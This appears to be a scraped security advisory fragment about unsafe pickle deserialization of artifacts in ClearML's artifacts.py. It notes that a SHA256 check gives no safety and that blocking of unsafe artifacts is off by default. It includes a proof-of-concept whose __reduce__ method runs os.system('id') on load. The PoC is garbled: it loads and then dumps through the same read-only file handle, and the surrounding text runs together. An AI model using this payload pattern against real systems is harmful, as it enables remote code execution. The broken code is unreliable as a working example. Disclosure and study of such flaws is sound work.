Views
No views yet
clearml/binding/artifacts.py:309pickle.load() to deserialize artifacts
of type "pickle". The sole protection — SHA256 integrity check — only verifies
that the file hasn't been corrupted, NOT that it's safe.block_unsafe_artifacts: bool = False (line 208) — default is OFFsafe_globals, no trusted, no weights_onlypickle.load() triggers RCE1import pickle, os
2
3class Pwn:
4 def __reduce__(self):
5 return (os.system, ('id',))
6
7with open("clearml_poc.pkl", "rb") as f:
8 pickle.load(f) # ← RCE
9 pickle.dump(Pwn(), f)
10
11# When ClearML loads this pickle file → RCE triggered